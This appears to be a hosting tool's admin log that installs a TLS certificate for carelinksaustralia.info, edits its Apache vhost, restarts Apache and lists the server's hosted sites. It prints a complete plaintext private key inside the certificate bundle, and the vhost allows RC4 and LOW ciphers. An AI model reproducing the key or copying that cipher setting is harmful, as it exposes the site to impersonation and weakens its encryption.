2025-12-14 06:01:04: 

PUT: /tmp/pkp390984

#!/bin/bash
temp_file=$(mktemp)
TARGET=01bea5c16e52f9c5f2fcf9fea9a569f2.crt

cat > $temp_file <<'endmsg'
fa:0d:52:84:eb:d8:65:cb:86:76:29:ea:cd:ba:b3:ca

-----BEGIN CERTIFICATE-----
MIIFJzCCBA+gAwIBAgISBWXn8CFBYYE2X2pDol8HCQCKMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjE0MDUwMjM0WhcNMjYwMzE0MDUwMjMzWjAiMSAwHgYDVQQD
ExdjYXJlbGlua3NhdXN0cmFsaWEuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEP
ADCCAQoCggEBAJThY5V9yHeTa42f8ezd+svipBbqPi+e4c1y/TS1+ejOphwt1FOK
8crDibHr0lipDa8kH/vQMSDCA6mt7/LPodB29mqr3vtsuhA3B3fjoVUPcTHl49NS
LjdFd2FHLcg8JC3a0pPzQ8fH4XNd7VVCJqmDmDOv12YfSYhhg7eQy9oFF3ughkAz
X1zN2GOC0SXDRmrDO+TiJKmpnRjxSmfUKgd00/pRy2vb/0u5R/Ah3JIi2WlsWEWl
XXaReT9uh8qYE8bRuaeCsV3q2wQfX9mLnvwQn32Kg/+CO0+qNLrY88uI9wrLbiqZ
HVtDx1kvoRWNLwvTwupCPrEGpvc30rd1bHECAwEAAaOCAkQwggJAMA4GA1UdDwEB
/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/
BAIwADAdBgNVHQ4EFgQUasN9M7PDiJOhJBgKJ8nkJBKZ540wHwYDVR0jBBgwFoAU
56ufDywzoFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAC
hhdodHRwOi8vcjEzLmkubGVuY3Iub3JnLzA/BgNVHREEODA2ghdjYXJlbGlua3Nh
dXN0cmFsaWEuaW5mb4Ibd3d3LmNhcmVsaW5rc2F1c3RyYWxpYS5pbmZvMBMGA1Ud
IAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5s
ZW5jci5vcmcvMTEuY3JsMIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYAZBHEbKQS
7KeJHKICLgC8q08oB9QeNSer6v7VA8l9zfAAAAGbG3LBjgAABAMARzBFAiEAqOZM
vIJ+LA1dwKPOEtYweXxlX7VUTKDTDPXv6XkuVyMCIG0Eje5zgNWmcKVXb8m0CI5t
XA3QImANh+xLNpK4uLUwAHYAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMU
WOcAAAGbG3LBpwAABAMARzBFAiBva4YiU4L0+WKbNJogQ2LRn08la2LLkOdjhdT4
TbWsIwIhAIlYBgRTtysQ0vERN5/3FCLFRSA+Wqh7Xg6APmOzhHf/MA0GCSqGSIb3
DQEBCwUAA4IBAQCA6mNlQRO8S5axZeDUM0Mf9wrqb04enHXNs65UxwlMYrkb0lKE
CihuSC2ofACkAjnTTSB678q3prwF49VcakeXYm10JmTwSQeSJsuwg/NVE+7EMpEy
fhtkIbZU2xJeB+falbBuTdIbxdUYkqu6Od+IqBhmS44KrcKPpXp+gAJSVRV8oQZe
hGYvOqnKmBbsphujaPLtPjRtuUhJV5W0K9ehKsn+4HC3bM/NNt4lxbFgfaeCccCk
bgTSGIwgL0VnwSYO74Ef99q+S0USj0GOpEhGhww/hP/pwugbDctxkOsrAhwkpwwq
k2NO2C9c3Qlr50e3/njeLPszeRTCOoNBgj0u
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCU4WOVfch3k2uN
n/Hs3frL4qQW6j4vnuHNcv00tfnozqYcLdRTivHKw4mx69JYqQ2vJB/70DEgwgOp
re/yz6HQdvZqq977bLoQNwd346FVD3Ex5ePTUi43RXdhRy3IPCQt2tKT80PHx+Fz
Xe1VQiapg5gzr9dmH0mIYYO3kMvaBRd7oIZAM19czdhjgtElw0Zqwzvk4iSpqZ0Y
8Upn1CoHdNP6Uctr2/9LuUfwIdySItlpbFhFpV12kXk/bofKmBPG0bmngrFd6tsE
H1/Zi578EJ99ioP/gjtPqjS62PPLiPcKy24qmR1bQ8dZL6EVjS8L08LqQj6xBqb3
N9K3dWxxAgMBAAECggEAdYKxJ31wjXE+ozprqZpMKkFpYuzgyJWPhKoOUVyRNMBn
PDawMICq+G/+bwDDtlc5BdRtqkRZgpGgcn1nty9LeU9skCW4ipr3AXVt36M74/ec
UNYzTMjA0b9yysVzzWgq5kahj0WjajzKJlUszu63tXS43ZMdYO2xDIRrgqg3Po0y
GM48OGu1JFvFOtAtp4cFcSUQbuEe05oKn0z4E11OnfBSY5LxeZ972kDjzzOGDxMC
y54GwzOgyZG1/ImN1Xhu8RMoZiY4+zuEe3E2ZjjXMZFcaKcYIHEsAafYkj4+fbS9
xok+3IDcQGRvXHszS7zZWW5wTH65SMhOYkQ0LO53AQKBgQDE90S98RaonoR68/LJ
Yr3qMGwlgrATBhzYY9PgCfeQj5+JgrfQPAud7c/TiN9eqHP2mfeqko+IM54nsWOC
DfUjDVrltAxkVuZO8C3cUgnpfdLe1pw6JBTLiPSsLQQ67CittSXynoLbpPt8j90Z
hcbwXa72FFtFPnvwp6ojaIg2zQKBgQDBgKKgcmOEEMqLfOr4XLFclVlgPgBGHTX9
/XNzjN66Rgg0RsxRHia+Ct1ZZr+TW9IdBFiixCMx/8piCJ8LSNbc4a3QQzTmUb6h
L3iXcl5TpmyPWbWrIuJUNNWNVZO1fNsfT8CJYDh/8aqjoCyFyQX2Ws3jRQBdGipP
enVDsUJkNQKBgQCAieG5lykzV2ebmbH6zM6lk34wKI5hi96tNNCjZ73BAImbwsvU
QCtQoE69fJhQ/NvYtfgTv9udhhoTS0dmK1erzV5hg1OG89MO9tzm6D8BupQvypxf
sQZFIZaS+jnFfjK50fr2z40UbCGW04f1zQDcAjdY7kX19WYK0lBNFT23jQKBgQCt
P3Pbva72DmaaTwS9y5gM8bbs4XYzUHIH70XP/h9onc04qO7D7f/4BRg7tC/wSrSr
wDlvubZdTMyxy1BCtTuS1gheP938HNJV1H/e8ModkRL/oe1yxS/o/sj42tb+FkTG
GwyisuDDROdnysAyJFLPSGuwgRYbRZL+SAD305xCxQKBgGWqzuTw5a8QYav/FlHx
aN0dZrWvpodSZIYnXoKqvUcmolAzn7Et11aSU9S+tqk2qV+AcM9RTrSZ76LojNE7
lif5SMQfykXHNFWXvApOPXsvSlCboXX+gzoDUYUO5cOARaREjyEUZGxpwojwCi6y
O0qROnU0ysR45oWcD+AMOuSo
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-12-14 06:01:04: 

chmod 755 /tmp/pkp390984; /tmp/pkp390984; rm /tmp/pkp390984

2025-12-14 06:01:04: 


dir=/etc/ssl/certs


2025-12-14 06:01:04: 

PUT: /tmp/pkp577814

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-12-14 06:01:04: 

chmod 755 /tmp/pkp577814; /tmp/pkp577814; rm /tmp/pkp577814

2025-12-14 06:01:04: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf 51

<VirtualHost *:80>
    ServerName	carelinksaustralia.info
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.carelinksaustralia.info
    DocumentRoot	/var/www/carelinksaustralia_www
    <Directory /var/www/carelinksaustralia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinksaustralia/www_access.log combined
    ErrorLog	/var/log/apache2/carelinksaustralia/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinksaustralia.info
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.carelinksaustralia.info
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt
    DocumentRoot	/var/www/carelinksaustralia_www
    <Directory /var/www/carelinksaustralia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinksaustralia/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinksaustralia/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-12-14 06:01:04: 

PUT: /tmp/pkp915112

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=carelinksaustralia_www_info.conf
TARGET=/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	carelinksaustralia.info
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.carelinksaustralia.info
    DocumentRoot	/var/www/carelinksaustralia_www
    <Directory /var/www/carelinksaustralia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinksaustralia/www_access.log combined
    ErrorLog	/var/log/apache2/carelinksaustralia/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinksaustralia.info
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.carelinksaustralia.info
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt
    DocumentRoot	/var/www/carelinksaustralia_www
    <Directory /var/www/carelinksaustralia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinksaustralia/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinksaustralia/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/carelinksaustralia_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/carelinksaustralia_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/carelinksaustralia_www_info.conf= 1'
fi


2025-12-14 06:01:04: 

chmod 755 /tmp/pkp915112; /tmp/pkp915112; rm /tmp/pkp915112

2025-12-14 06:01:04: 




2025-12-14 06:01:04: 

PUT: /tmp/pkp688881

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-12-14 06:01:05: 

chmod 755 /tmp/pkp688881; /tmp/pkp688881; rm /tmp/pkp688881

2025-12-14 06:01:05: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-14 06:01:05: Establishing a connection
2025-12-14 06:01:05: 

PUT: /tmp/pkp832163

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-12-14 06:01:05: 

chmod 755 /tmp/pkp832163; /tmp/pkp832163; rm /tmp/pkp832163

2025-12-14 06:01:05: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-14 06:01:05: 

PUT: /tmp/pkp179708

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-14 06:01:05: 

chmod 755 /tmp/pkp179708; /tmp/pkp179708; rm /tmp/pkp179708

2025-12-14 06:01:05: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf	1362

<VirtualHost *:80>
    ServerName	carelinksaustralia.info
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.carelinksaustralia.info
    DocumentRoot	/var/www/carelinksaustralia_www
    <Directory /var/www/carelinksaustralia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinksaustralia/www_access.log combined
    ErrorLog	/var/log/apache2/carelinksaustralia/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinksaustralia.info
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.carelinksaustralia.info
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt
    DocumentRoot	/var/www/carelinksaustralia_www
    <Directory /var/www/carelinksaustralia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinksaustralia/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinksaustralia/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-12-14 06:01:05: 

PUT: /tmp/pkp116693

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-14 06:01:05: 

chmod 755 /tmp/pkp116693; /tmp/pkp116693; rm /tmp/pkp116693

2025-12-14 06:01:05: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt	5409
fa:0d:52:84:eb:d8:65:cb:86:76:29:ea:cd:ba:b3:ca

-----BEGIN CERTIFICATE-----
MIIFJzCCBA+gAwIBAgISBWXn8CFBYYE2X2pDol8HCQCKMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjE0MDUwMjM0WhcNMjYwMzE0MDUwMjMzWjAiMSAwHgYDVQQD
ExdjYXJlbGlua3NhdXN0cmFsaWEuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEP
ADCCAQoCggEBAJThY5V9yHeTa42f8ezd+svipBbqPi+e4c1y/TS1+ejOphwt1FOK
8crDibHr0lipDa8kH/vQMSDCA6mt7/LPodB29mqr3vtsuhA3B3fjoVUPcTHl49NS
LjdFd2FHLcg8JC3a0pPzQ8fH4XNd7VVCJqmDmDOv12YfSYhhg7eQy9oFF3ughkAz
X1zN2GOC0SXDRmrDO+TiJKmpnRjxSmfUKgd00/pRy2vb/0u5R/Ah3JIi2WlsWEWl
XXaReT9uh8qYE8bRuaeCsV3q2wQfX9mLnvwQn32Kg/+CO0+qNLrY88uI9wrLbiqZ
HVtDx1kvoRWNLwvTwupCPrEGpvc30rd1bHECAwEAAaOCAkQwggJAMA4GA1UdDwEB
/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/
BAIwADAdBgNVHQ4EFgQUasN9M7PDiJOhJBgKJ8nkJBKZ540wHwYDVR0jBBgwFoAU
56ufDywzoFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAC
hhdodHRwOi8vcjEzLmkubGVuY3Iub3JnLzA/BgNVHREEODA2ghdjYXJlbGlua3Nh
dXN0cmFsaWEuaW5mb4Ibd3d3LmNhcmVsaW5rc2F1c3RyYWxpYS5pbmZvMBMGA1Ud
IAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5s
